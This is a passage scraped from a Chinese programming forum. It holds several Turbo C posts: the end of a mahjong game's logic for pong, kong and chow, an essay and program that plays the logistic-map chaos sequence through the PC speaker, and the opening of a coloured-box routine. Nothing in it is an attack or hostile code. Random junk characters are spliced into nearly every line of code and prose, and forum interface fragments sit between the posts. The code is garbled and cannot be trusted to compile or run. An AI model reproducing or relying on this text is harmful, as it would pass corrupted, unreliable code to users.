$ {% U  j3 p2 g% U& sif(every==10)/ I, u9 K# ]4 W3 o# w" q& u5 c+ V
{' B; D$ k9 A$ L7 I
x1=220;/ g  ]& p& J  c9 ]4 R- ]
y1=165;' D+ S( C6 {+ M0 c0 B& k% d; |; _, J
fillRectangle(x1,y1,x1+20,y1+4,0);
- X! \6 t8 i5 [$ O6 _) Q* w) U3 A}
) A* o4 x8 ^7 x% d& Vif(every==11), |; ]$ G1 s  X3 p, O. i5 t( C
{& Z: z; }  Y7 {4 C  a
x1=240;$ K* o& W  K+ ?6 |5 u
y1=165;! q+ N2 r) B9 t" E
fillRectangle(x1,y1,x1+20,y1+4,0);9 g; D" F! a6 l
}* p4 ]% X$ W, f2 Z( Y: i4 _
if(every==12)/ B) y$ X% e" h. H/ A
{
9 e) x" M( g+ T; Zx1=260;
, [3 x* Z/ X9 r# B$ m' }y1=165;- V' ^. s1 e; y* k
fillRectangle(x1,y1,x1+20,y1+4,0);2 G' }- ~4 E' N  b
}# F9 ~' B  ^: d. _
, S5 N" R  s( z' e3 d$ Q
zz=0;1 v: v& `. C/ N* j; n; W2 l+ A
every++;
5 v. |4 i0 y# M; Yz=z+20;
4 X! z5 [9 T- Q# q; o}
+ H9 f9 F/ M/ ]' ]showbmp(every);% o% u! _* ~& d8 V9 E& C1 J
key=keyy;, E. t2 @) g4 a# d' m6 Z5 A5 ?
if(keyy==ENTER). p4 _9 q7 A( j2 w& ?! Z0 x5 c
{
" U( u- D) A1 t+ ]rgzn(every); /*********************/
+ v! g/ u3 u0 K9 g2 B3 Rif(sing==1) /*如果可以乓,做相应的处理*/9 `+ B6 i! j  x. Y/ U' k- U3 H
{
: k4 R+ W$ t8 l9 ?$ r1 @kkk=0;
# R2 E5 b, ~6 b/ o% Tkkkk=0;
6 d" b& ~7 P& P# Hwhile(kkk&lt;=computer.m)
7 N) \9 `/ N6 L: |) p. A{
6 P* v3 k0 Y  l! }4 nif(computer.pp[kkk].p!=1)' N7 k3 x# H3 k- d! }2 j5 _
{/ E: N  f& b/ [/ n( C
comp.pp[kkkk].k=computer.pp[kkk].k;
" a0 ]( y7 x* d/ b$ ~5 Z% [/ j! Ncomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;3 l# R/ h+ P; J/ J1 U
comp.pp[kkkk].number=computer.pp[kkk].number;
  L7 \6 }" [5 @  I% xkkkk++;
6 e" e0 L# d. \}
: y/ y1 b( O+ belse8 X# {& k# A3 n9 g$ t
{1 Q: L4 T- m, i1 e; |' v+ w) y! |
m[computer.pp[kkk].number].data1=1;: o% j" ?& c( X* W! J0 [
dwei=computer.pp[kkk].number;
3 l; g. ?' x, [: q. Y1 Vcomputer.pp[kkk].p=0;! I: ~5 U  V2 ^0 y2 Q) z
}+ p) r: f* I) |3 Z: {2 L7 X! T
kkk++;
. g: y$ j7 ?7 s4 d}
: c( u9 \$ \8 T! ]- D( xll=0;, ~/ {& W* U3 D- c- s' A$ |
; B. v( Z) k& A. c/ h& {/ }8 \
while(ll&lt;3)  w  K# y' Q0 Z+ @
{ zl=zl+20;
# Y- P* M* K. D# t) m! L( e" E0 @bmpp(dwei); /*显示乓的牌*/8 f  M. l) E: k2 O
ll++;
' w$ [& e& k5 k' D: z/ z, i}) C' F( o) @0 L& H( Z* a' L7 b0 m# |

. D- q9 U0 Z8 F, D, J2 {! Ozl=zl+9600-60;& u, j9 p% a2 O# B& G* h
kkk=0;! R. T& M7 K% H% }
computer.m=computer.m-2;
: j  `( ?/ Z8 o" ]while(kkk&lt;=computer.m)
6 A$ {# z9 l& Y) M% d+ R  C{
. C( \7 u6 y# Xcomputer.pp[kkk].k=comp.pp[kkk].k;0 |3 [: ~' P& D* |, g. x
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;" l2 ?2 I( J6 `; V/ i
computer.pp[kkk].number=comp.pp[kkk].number;
& L: P* g0 S) b$ fkkk++;
2 O) h8 P' B4 n5 Z! H}
3 q6 N1 Y" r7 Z3 |ll=0;
3 a: V- r  s  m  L; p0 u' mtemp=random(computer.m); /*出牌等待完善*/
) T5 K7 H) U. c1 f2 z7 _$ m7 `zyy=zyy+9280+20;. J8 d6 p! y& W* C! o9 h
showcbmp(temp);
+ D0 W# c' H: H% n9 zzyy=zyy-9280;( Y9 o) U5 C4 q( s+ C
/*****/
, O9 x: l% _$ w2 T. [7 Nrgznme(temp);
+ W# Y2 X: v$ a5 P6 N% B3 a7 epanduan();
2 q" ^* O5 D: I( x7 Wif(me.m==0)  F( @/ L5 Z) X# R  r
if(second==1 &amp;&amp; threes==0)
1 W4 q. C" e7 l/ s( x3 m  yprintf("you win!");0 S; n4 m: W) x
if(me.m==3)/ ?9 k; v3 r( i0 w$ ~8 ]
if(second==1 &amp;&amp; threes==1)3 m4 }0 q) N8 e; x, N3 M
printf("you win!");
; ~+ k2 b0 O' `if(me.m==6)
, R  o$ ?3 i. k) ?3 t+ uif(second==1 &amp;&amp; threes==2)' S2 ?2 f: q7 p/ K, [
printf("you win!");
+ P# L2 J4 K' I$ Z9 E9 ?if(me.m==9)3 d' }3 r$ u# W4 b4 C) y/ O4 A9 \1 U  g
if(second==1 &amp;&amp; threes==3)
/ b, H3 U% q" ?( ~) b/ H4 i4 vprintf("you win!");* g6 E/ A7 ~/ Z- `" c1 |; I
if(me.m==12)
7 n: _7 t( W6 n& ?if(second==1 &amp;&amp; threes==4)5 C1 f6 z" G& J9 b; j% i
printf("you win!");- e! c4 w- _+ {
' O. M' S' Y  G" x2 x) }
kkk=0;
. C* L/ ]; l3 A5 zkkkk=0;
. @- `) h# t3 h! Q% G; Wwhile(kkk&lt;=computer.m)8 ~3 {$ U  X6 h& K
{
+ {- M/ U. e$ N. ^+ y2 |if(kkk!=temp)
7 C% J" r/ t0 }' u$ t{
% [! F% b( F+ A0 S- Icomp.pp[kkkk].k=computer.pp[kkk].k;
! m" K9 ^- V9 F, B8 O. E2 ^4 Xcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;2 Z# I( f1 l# J7 b) g$ F( }: K
comp.pp[kkkk].number=computer.pp[kkk].number;+ }* X) f- n8 r3 j& ]' K
kkkk++;8 m- j) {6 z5 @+ X9 f! D" z) L
}
' O7 |; L3 M5 E1 z7 G, celse
1 W' f# x% A1 k0 ~( @m[computer.pp[kkk].number].data1=1;
" K0 F+ W% L6 l* N2 a) c9 p3 T9 ukkk++;4 s7 P. G6 S5 O$ t8 p2 S/ w: }. u. a
}
8 N8 z' m( F5 x& |  z$ F# v9 Ykkk=0;
, l% S* u/ o; K: T4 ocomputer.m=computer.m-1;
6 i4 c7 A6 E, g. Awhile(kkk&lt;=computer.m) ' T4 x+ L% z" @& y1 V
{
# M& z( {; o2 K" scomputer.pp[kkk].k=comp.pp[kkk].k;% Q0 H/ V  k9 r* y5 [2 T
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
9 w1 E- q+ i- f; p: v' ?computer.pp[kkk].number=comp.pp[kkk].number;8 R- E( E" g" ^! \& }
kkk++;$ a/ u9 R: s* m# z, F7 C
}; k6 j! x5 P9 q
fillRectangle(0,0,320,30,0);( d2 g- h7 P: M: _/ C
n=computer.m;7 m3 P7 [2 b* h; K
ll=0;7 j: J, V! S2 i+ e8 k, T, w/ z8 U
zy=0;  ?! }* ~  b, S6 i3 h* x& n
while(ll&lt;=n)
! F; k1 g7 ?+ N{5 k% W: T2 A' i7 k
zy=zy+20;: u3 ^) V9 }, C0 [
showybmp(ll);
8 ]9 R1 P9 [9 I$ Q' P4 K( Wll++;
, l- R# ~! U  Y" d}; {- A) v/ x: {9 j
ll=0;: m$ d7 T% C2 q% D8 F- T3 E/ a3 U4 ?
getch();# I, f0 G! P5 u& D2 O8 W
sing=0;4 y" G3 j# P6 s! [" z5 ~  F9 u1 u
sing1=1;
3 O9 o$ D) W6 d/ M}9 G9 e+ ?- {6 K; u+ p

4 c8 u! z! Y; }; z8 e$ @if(sing==2) /*如果可以杠的做相应处理*/0 C  W8 P' L2 p) o7 o$ M4 X3 `
{: V9 o' i8 y4 ]* O
kkk=0;: d- k$ v! e# W+ f4 d# ]3 i9 N
kkkk=0;
% M; B+ n& ~0 F1 Lwhile(kkk&lt;=computer.m): ]  V3 B" b# c1 D' o( v
{
9 S5 }# M( y# |" P# O  L6 q+ pif(computer.pp[kkk].g!=1)
% N" Y  Z# G; p; Y. `. t{
3 U  S- o  L4 Z4 C5 `. D- s; Vcomp.pp[kkkk].k=computer.pp[kkk].k;0 m7 t& t1 B+ [1 J2 |4 ~& X
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;' M- M# x- \0 P, L5 A, \9 T
comp.pp[kkkk].number=computer.pp[kkk].number;$ X; h* ~( A" o
kkkk++;% s& w. m  j+ S, @- E' l6 S# G# z
}, O, d+ a+ E3 M  f8 `
else5 t- x3 H7 n1 h# h7 i0 J: G
{$ G1 I/ Q' j/ F/ X6 k1 r
m[computer.pp[kkk].number].data1=1;
2 M5 \4 q/ [7 Y% T/ zdweig=computer.pp[kkk].number;
0 O) d7 |" L" s) E9 u, W/ ocomputer.pp[kkk].g=0;
* h0 y+ i3 j% p; X# ]; |# N" B}' d# T" @* {3 x# ^! {( z; H* c
kkk++;
; w. Q; d. P4 ?}
7 h" Y$ v  y' K- U* d. All=0;
& ]+ Q* Q7 @: o  ~
7 @; I7 P& f3 n; ]" A/ b3 q1 Jwhile(ll&lt;=3)1 C8 {0 S7 f/ ^
{ zl=zl+20;
- w# k% a3 I3 w8 E3 H: Y  dbmpp(dweig); /*显示杠的牌*/8 B& P6 I4 m5 j3 `# P
ll++;
! f7 [0 A" W1 X( z}
/ K; X) _, d3 \. ?( N# ?zl=zl+9600-60;
2 m6 a( L5 J3 w* Mkkk=0;
- U; a# Y  z: Q3 [4 @computer.m=computer.m-3;9 X6 f1 v$ H1 i) |  A/ X
while(kkk&lt;=computer.m)* u( A7 |5 ?1 ?; L; w; q6 m; f- n
{
+ t6 a4 \7 `. N9 ~2 @  ucomputer.pp[kkk].k=comp.pp[kkk].k;
: Y% t% R& Y; Z1 ncomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
. o5 e% E7 T9 E: o) _& z. S3 kcomputer.pp[kkk].number=comp.pp[kkk].number;( Q& l- f$ ~" [3 s1 \
kkk++;) T9 ~9 z2 u+ u( z" u
}  M) \' W6 f: u( X- A, S
kk=0;
3 u' J3 z* {# s  P# ]8 Ncomputer.m++; /*加一个牌的容量*/7 W# _1 y  h2 s# s
while(kk!=1)2 A* ~: l- n/ c( h
{
3 x4 B' i; |" Z6 Ptemp=random(136); /*出牌*/& S8 M, Q$ F( ^0 u) A# u
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
4 g# S5 M+ X- ~{1 c2 k: e; a* B& \7 y( ?
computer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/* x8 Q! g: s* j7 @7 e' a8 l3 J* Y
computer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
0 ]* f; c6 o* z- Ocomputer.pp[computer.m].number=temp; /*第几张,用来排序*/& d- e- e# @) I# A
m[temp].data2=2; /*判断牌是谁的,2为电脑*/
7 a7 ]: Z# Y9 {2 L8 tkk=1;0 ]+ L8 x% S. R0 e
}2 R, p- x% d& L% b: P# J4 E
}7 b; |4 a- N" p# C
comlipai();: P) h9 D! G8 L+ B
temp=random(computer.m); /*出牌,等待完善*/
  y5 [2 G7 D( hzyy=zyy+9280+20;' m+ k/ k( k8 I" R- p5 P
showcbmp(temp);! ^+ a1 b9 v2 ?' ]7 G2 @! @- H% J
zyy=zyy-9280;2 [# A! ~, A+ Y3 X  @" U
/*****/
( V$ f  x$ T! t4 X% Q, h! Irgznme(temp);+ s! i9 m- ?5 K" a: A7 H3 H
panduan();0 G9 o* D: P. _8 ~3 V  M
if(me.m==0)
' Z* v( |- P: j0 C3 @3 e. C0 Xif(second==1 &amp;&amp; threes==0)- j' W4 j2 {/ a: Y# ]% F
printf("you win!");
1 W1 m* T7 |+ y+ _5 ]: Y' O* aif(me.m==3)7 a! x. z2 V/ b1 d/ i2 [/ o
if(second==1 &amp;&amp; threes==1)* D. S( \7 u% T, V+ t# C2 m( L
printf("you win!");9 O5 G# j+ x8 U
if(me.m==6)( J% \5 i, x3 x8 I3 P8 u& r% G" y
if(second==1 &amp;&amp; threes==2)
" j6 Z% u1 u/ N4 ]2 Cprintf("you win!");2 E' g- I4 s# T# x. q4 R
if(me.m==9)  ?& r- r+ e8 z" I
if(second==1 &amp;&amp; threes==3)
  A% z8 t/ n: w$ {printf("you win!");* r+ t0 Q" k( U# d+ s: K6 ]4 T
if(me.m==12): q' g3 A6 m6 E, V0 j/ ~
if(second==1 &amp;&amp; threes==4)6 m. z% A: _8 A7 K; R: |1 I! H- I
printf("you win!");
8 o4 y2 G3 X: e! R  R  f0 @; k! ^
kkk=0;
2 U6 z0 l) D' V5 X3 j- ?3 S& Nkkkk=0;
9 v  R& I4 |8 Iwhile(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
& o& e( n1 h, Z' b: X. l) P# U{$ N7 Z  V" @) W9 [, g; i, \
if(kkk!=temp)
- T" Q8 l  ?5 R" t4 R{
5 M6 r% `: i# D, j8 `comp.pp[kkkk].k=computer.pp[kkk].k;
" k: J! C5 b8 e0 M% L& ncomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
* k. Q6 |: `- ^/ W* p4 Pcomp.pp[kkkk].number=computer.pp[kkk].number;
" Y2 g' {+ Z$ c  g/ |kkkk++;* M( t5 ~  |3 d2 @# Z
}) C; q4 [9 W' S2 H- C2 M+ q
else6 q  ?4 e$ }5 T6 l; V
m[computer.pp[kkk].number].data1=1;
& s6 C  }, q! g6 K! B/ ekkk++;
0 X9 m! z% N, L2 k  j}9 K' c0 N( I6 z+ L* {
kkk=0;4 g8 k+ I" X' n' N' u
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
* L2 a* ], O# a9 C) v- w& pwhile(kkk&lt;=computer.m) ) l5 L0 J+ A; Y! A9 H) h
{
  U, m& p# Y& L& U2 Q$ Q/ Vcomputer.pp[kkk].k=comp.pp[kkk].k;% @3 w' K, d( H3 {
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;1 b) f4 e; E/ r
computer.pp[kkk].number=comp.pp[kkk].number;
: F& E, l. v1 y! R% [( J. A) Q* mkkk++;. K! H1 ^7 C. h. E1 p; `7 L) T
}: {5 k! Z- q/ B" l+ Y
fillRectangle(0,0,320,30,0);" z, D) \0 _! D3 }2 j
ll=0;
' F; f- Q0 e2 h; ?7 Q9 m* f2 O6 hzy=0;
) [3 R4 x/ A1 E0 {8 o3 q( w. \0 ]- gwhile(ll&lt;=computer.m)/ s& S8 b8 J1 `# J% c; D; q
{
3 T/ t; Y* p! \6 K1 Yzy=zy+20;
( b* N9 k3 `$ H1 Vshowybmp(ll);; r9 z: v  K% @
ll++;
) C9 R3 x9 R3 {. z& u6 M3 d}1 M" [) Y1 e# c4 A
sing=0;
, @$ ^7 I8 {0 d. a: Vsing1=1;) ~6 ^1 i" R" P! O$ }
}
/ V3 @" ]8 `/ j$ Z) j% Zif(sing==7) /*如果可以吃的,做相应处理*/
" E% u8 K% e  _9 m  K: u( z" u{ nn=0;
0 ^5 M6 \6 ]: L: w; v8 s( v+ r0 q/ E2 Rkkk=0;& e5 O+ ^) E5 U1 v
kkkk=0;. V; e0 M. H8 ]) n5 K# _. [' ^
while(kkk&lt;=computer.m)/ M8 @! v+ _5 Q4 d% g
{" T6 e: w4 P0 y0 z
if(computer.pp[kkk].c!=1)
( h7 S: d3 v/ u( k8 m{8 `& r- |! @* |: h, j! l. E7 [0 b5 J; i
comp.pp[kkkk].k=computer.pp[kkk].k;$ b2 S& E& |6 l7 ~! e$ [  Q
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
0 e9 x  e. S3 H7 xcomp.pp[kkkk].number=computer.pp[kkk].number;
- L7 A4 V$ g* O, vkkkk++;+ b+ j& t/ V, y8 D8 k1 N
}8 c+ F6 @5 ~: I" g9 D. V
else" n9 E/ m2 i7 S4 w6 P# Y
{3 k/ G3 T- \4 U' B! a! v5 @, ^
m[computer.pp[kkk].number].data1=1;+ F  h! F9 m" n/ f! Z! N2 a& L
dw[nn++]=computer.pp[kkk].number;# [( Q" H& O5 V; k- u  k6 {
computer.pp[kkk].c=0;
" X, S1 L$ p& j; v$ X1 E5 k}
9 P5 \  p, r0 A( ]% ekkk++;' j) A( w/ _$ W! `
}
' m( R: }9 ]6 ^1 {
; _' m- Y$ O; `. d' w8 {# Wif(me.pp[every].number&lt;dw[0])
3 S; ]  D2 C- i0 K$ }4 b{9 v. O% N. @7 P
dw[2]=dw[1];
+ b; t* m  ?( T/ r. o! Ydw[1]=dw[0];
& {, O, W" E& rdw[0]=me.pp[every].number;
3 M. ^; j1 P: q  C7 D, n) h# h0 e) _3 ~}
6 {/ N" V, E" I. @/ E# K& e7 b+ [9 U% [if(me.pp[every].number&gt;dw[1])
" |6 s: D3 i2 B$ z  p" E( l{' c, m' a7 f2 c: l- S& I
dw[2]=me.pp[every].number;" j  U  R/ \: n# o; g
}$ `3 m! H# n) B1 ^! T8 C/ }
if(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
, K6 ]: j3 V0 g/ ^' f{3 y1 O: O1 |6 ~+ d4 u
dw[2]=dw[1];
9 S+ n3 k3 X& i/ o0 i- N* adw[1]=me.pp[every].number;$ Z8 H% ^* z/ N1 O( o0 U
}. i; \2 T9 I3 \7 O6 k$ \
nn=0;) M+ F! ~% t/ h
while(nn&lt;3)
. `( A  D; r3 U2 D7 g' v{ zl=zl+20;. c  z1 S+ N% Z' b* a
bmpp(dw[nn]); /*显示吃的牌*/
& M; ^9 t2 ~% e* ^! y( J" [nn++;
2 g/ k7 v; b9 d/ P( a9 z}1 T* c) i7 L, P$ m( a4 _
zl=zl+9600-60;
6 r, e% R: a/ V# I$ A% n4 n, v7 Tkkk=0;$ ~$ T7 Q* {4 R8 S0 ?! e
computer.m=computer.m-2;
) c: Q$ a! m9 M! P7 \1 [while(kkk&lt;=computer.m)
1 Z! K2 J1 _7 s* u{: s" A' `) N& Z. F3 V4 R) g
computer.pp[kkk].k=comp.pp[kkk].k;& a$ M( H! P8 I5 v
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;0 U9 G) [9 P* \8 C$ n
computer.pp[kkk].number=comp.pp[kkk].number;& E# \" N& p# x* `
kkk++;
' F- o. j2 q  D, s1 {; \$ ^}
1 N; s5 C/ s8 q5 m7 hll=0;
' e4 f6 i5 I8 O3 L; Itemp=random(computer.m); /*出牌等待完善*/
, `) t) Z! i6 N1 Q) _3 r: J: F) L0 @/ @zyy=zyy+9280+20;
5 M: ~7 `4 q7 ?" D: @5 jshowcbmp(temp);
3 m! v& O0 n, A: [# I. Zzyy=zyy-9280;4 f4 n* R. H4 ~. |: w
/*****/0 F4 a, {# I4 z* ]/ W
rgznme(temp);
4 o2 o' F$ w5 D0 X, Lpanduan();& G' E* K$ ~- H% J  y0 n5 @
if(me.m==0)
  X2 ^- [; n6 J& V+ m7 F, Dif(second==1 &amp;&amp; threes==0)/ ^: V6 e* j" T
printf("you win!");; z$ [  ^) ^+ l5 O( V8 n( k7 f; O/ T
if(me.m==3)+ M1 x, F6 q" J6 a0 H& R
if(second==1 &amp;&amp; threes==1)
, m$ k0 I& H9 m: q& w( P$ V6 \0 fprintf("you win!");
2 @) Y. w0 F0 r. n$ yif(me.m==6)
2 ~: z8 \8 X9 ~3 yif(second==1 &amp;&amp; threes==2)
5 c  P. B3 ^: ?printf("you win!");! o$ O' u3 L  @; N6 z- W2 G% O
if(me.m==9)
( r- Z0 A2 @' }! R% N! T! f' g  Y- wif(second==1 &amp;&amp; threes==3)( h- R" ~6 t) l" Z+ O
printf("you win!");
4 n& K6 F1 P4 T$ q9 s# M) b: j- nif(me.m==12)
$ r! R0 |2 G; P8 p. Eif(second==1 &amp;&amp; threes==4)5 e5 @( ]& A% S/ x2 v8 s+ s. |
printf("you win!");$ f* s( w" r9 w
, k# B* V9 t+ s# D
kkk=0;
$ ]) R' ?2 q4 Mkkkk=0;
% c4 V+ a8 L% qwhile(kkk&lt;=computer.m)+ K' |: }& I, }5 K$ G( k' \
{6 R# v$ M+ B# i
if(kkk!=temp)
, i% K0 F9 E4 L+ v* b# ~5 j; F0 u{
: H, |4 z* k1 k5 r! {comp.pp[kkkk].k=computer.pp[kkk].k;& i& B  e. M0 t
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;, T7 T8 h3 w: E: S8 C
comp.pp[kkkk].number=computer.pp[kkk].number;7 \1 n7 ^- n1 g- O/ F
kkkk++;  P& m. B+ P& I! m# i7 R, @- V
}# R% ^% P. ~% Y/ H; ~) ^
else
$ a9 Q/ B: E# Qm[computer.pp[kkk].number].data1=1;
) c+ q+ ^7 O6 h# e5 z3 Vkkk++;+ S! U" b& q; H* J
}* W/ X# j8 n6 g, _, R
kkk=0;
* y1 X9 c0 v! T2 Z( Acomputer.m=computer.m-1;+ ^+ e" j, y! L' e1 Z; \+ a  L
while(kkk&lt;=computer.m)
* m; m5 v" E/ {2 y2 [{; E: m$ P/ R2 ?1 p7 x2 U, L2 ?# L* }. t
computer.pp[kkk].k=comp.pp[kkk].k;
. t  [" c6 L0 z7 H4 ecomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;' Q+ y. x4 ]6 @0 g% b) L
computer.pp[kkk].number=comp.pp[kkk].number;
) R: \. ^- {; z6 P/ Xkkk++;- R* C! d1 `% x
}6 M4 P8 T/ _/ S4 E$ N) T
fillRectangle(0,0,320,30,0);# C- j7 }' {# F# ]. O  P
n=computer.m;+ l0 m. @( v2 O+ O6 Y$ H
ll=0;: @2 w" |1 ^" B% r' b( d! U. K
zy=0;
$ g* V4 p0 H  Lwhile(ll&lt;=n), h  g9 |. @- L, S" J) _
{% n& x7 i5 h$ f3 q; H6 |
zy=zy+20;) q  Z2 R8 }+ G, y: F( f
showybmp(ll);
8 D; T# A# b* x* ~9 b& m0 I; `% t, Xll++;3 H7 v$ [" |# e0 \
}7 F( _" ?' ~) X% t

# V0 P) x& e" h! ]2 x/ ^/ C( [getch();$ Q5 }9 @) J( s$ z; k9 b/ V
sing=0;
  ]- \- b- e4 V6 Y' Z2 h; Ising1=1;( \+ ^  V( Z/ [4 d" b+ U" ?. K. n) {* u
}
1 e9 L" |5 f) W' h' x. x1 R" ?if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
4 c  r) G: P. V1 i+ X* X5 a8 f{: w0 n- m5 Z. _% e; Q! O& I- i: q
kk=0;
* u$ n8 Q" v# P: ah=me.pp[every].number;
' z/ ]" Z/ V5 b7 ~4 N, q9 z, Hm[h].data1=1; /*此牌已经无用*/
& ^# O2 w8 w: n% zif(sing1!=1). N9 t5 `* N8 q: }) m
{
. r# V4 J2 n% ]0 {* P- Nzyy=zyy+9280+20;
8 J$ c3 Z/ P) zshowbmpd(every);* U0 Y* b, c/ N% v
zyy=zyy-9280;4 M. A& S0 {. ]. J
}" ]# l: Z( c* P
while(kk!=1)& N( }! b) K/ L# l5 I
{/ q6 O9 q( Z: v* ~: Y
temp=random(136);
" z" A" u5 y- u3 kif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)- D: V" {. d: j7 _# w& c4 h/ G$ T
{
* u+ U; `5 y3 s* _4 c' Zme.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/0 O& z& x" e; ~+ _8 p% l+ a6 p
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
, t, Y, j/ r+ }5 f, Z* S0 K- m$ F" Ume.pp[every].number=temp; /*第几张,用来排序*/
, x+ K, W  W, I1 b7 e" Pm[temp].data2=1; /*判断牌是谁的*/
& v6 Z" A1 q8 k" vkk=1;% `8 g3 g& x! N
}
2 E8 p0 Z) Y. Z7 t2 D- gif(kk==0) /*判断如果又选择了,就从新再选*/
* `3 b+ t) Q; }1 ]" f  Zkk=0;. \) W* R( I: [% ^( }$ P
}
/ v( C% }" O  H4 M) s; R}0 k2 ~1 W/ q( g0 ?# ~
sing=0;; M6 z  j: I* }$ {
sing1=0;7 r- W8 l) ^* v8 {! D  R: ?
melipai();3 l' u0 @0 g9 ~/ T& N$ P
n=13;  t$ P$ B1 u0 l  M
z1=54400;
0 J7 q* W5 A$ R7 |& h# J) Pl=0;0 p4 s5 K% E) h7 w
g=z;$ B/ h1 x. C! H9 W+ {+ V/ A
while(l&lt;n)
1 w( Y+ V6 u' C5 l+ R# ]* F) ]/ d{ z=0;4 g8 ]& ^' @% G
z1=z1+20;
! f; Y4 n) t! s$ Vshowbmp(l);
- Z' s8 D! d# w7 M. _l++;. A. v6 @& P( i
}
- J3 g/ P8 g9 @8 j) ?z1=0;+ X5 ]; ~0 x3 \  k
z=g;4 [1 I& I' D' X/ A
}
0 d$ {$ f' H7 ~' Lkeyy=0;. m) x! u  {" J0 H7 ~% b' M
}
: {) }' A& b* F' U- y3 G% q: p# X0 C5 D
getch();
+ I' d/ F# d7 C3 |0 j: YOUTVGA;
& I' V1 c9 B% X1 Y} # E; t+ f, o/ n0 T* t3 ]/ A
</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])' l& u! A. n# K' j% d
</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:
9 `% Z/ s5 Y4 Y- Q/ f
3 b# z! i, j) ?* W  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。% {* @  w2 G+ @8 e, m
  <FONT color=#009900>#include <DOS.H>) ]  F6 I( o4 j0 j
  #include <STDIO.H>
. O4 v& x( i. ?7 y+ l  Q2 E  main(){% P2 ?; o: {1 D" O' M! X6 {1 z
  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/
, F/ J( ?/ n/ p" q" {  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/, k2 [' A( u  {) g! M0 Y) ]4 l
  /*i,j用于循环记数*/
+ H% n- F% O2 U3 x# j: D; x3 J  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/
3 c5 l1 L; e: W$ X1 O* e+ u  fDis=fMax-fMin;
9 {9 }( c3 w2 A2 s& q. f: K" G  for(j=1;;j++){
# u5 l- F0 m" F1 X9 t  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/
' G- y' Y1 u, Z9 l! S  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/
# q( N- C: P' w- c  scanf("%f",&k);
$ o! W  z* j/ V4 d$ j9 R' j+ v1 Y  if (k==0) break;& `6 }+ k- ^$ U% J  Y/ \4 p3 L
  for(i=1;i&lt;100;i++) /*去除开始的100个点*/
& X" a1 w+ @1 ^* S. F' L( c  x=k*x*(1-x);
. ?  R6 s( \8 M% z/ o  for (i=1;i&lt;100;i++){
/ E0 d( H  @" P1 m& r9 k  x=k*x*(1-x); /*计算x的值*/
$ d* b& N- ~# U) L  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/# S; J3 J3 P- N
  delay(1000); }
; _0 c# D9 ]7 A) N* ]  nosound(); }}
  l9 _/ ]/ f* B) h- U5 D  V  l  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。7 w1 G/ B  ?+ l8 \9 p+ X
不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>' t* |: O# s6 x- `
<FONT color=#009900>/*
+ U: O6 P; }" X, \. _; d. H*5 b  g* N7 M; t5 F
* Short driver module0 x" `% a% k/ W/ P& L! R
*+ r6 Y6 g) {* i- U6 @0 T
*/</FONT></P><><FONT color=#009900>main()
& u% I1 X3 l& i( n{
) v; F1 [* }/ j) u% X# Oclrscr();; j/ g7 q9 s5 ^2 k+ V7 W# w9 ~$ ], g
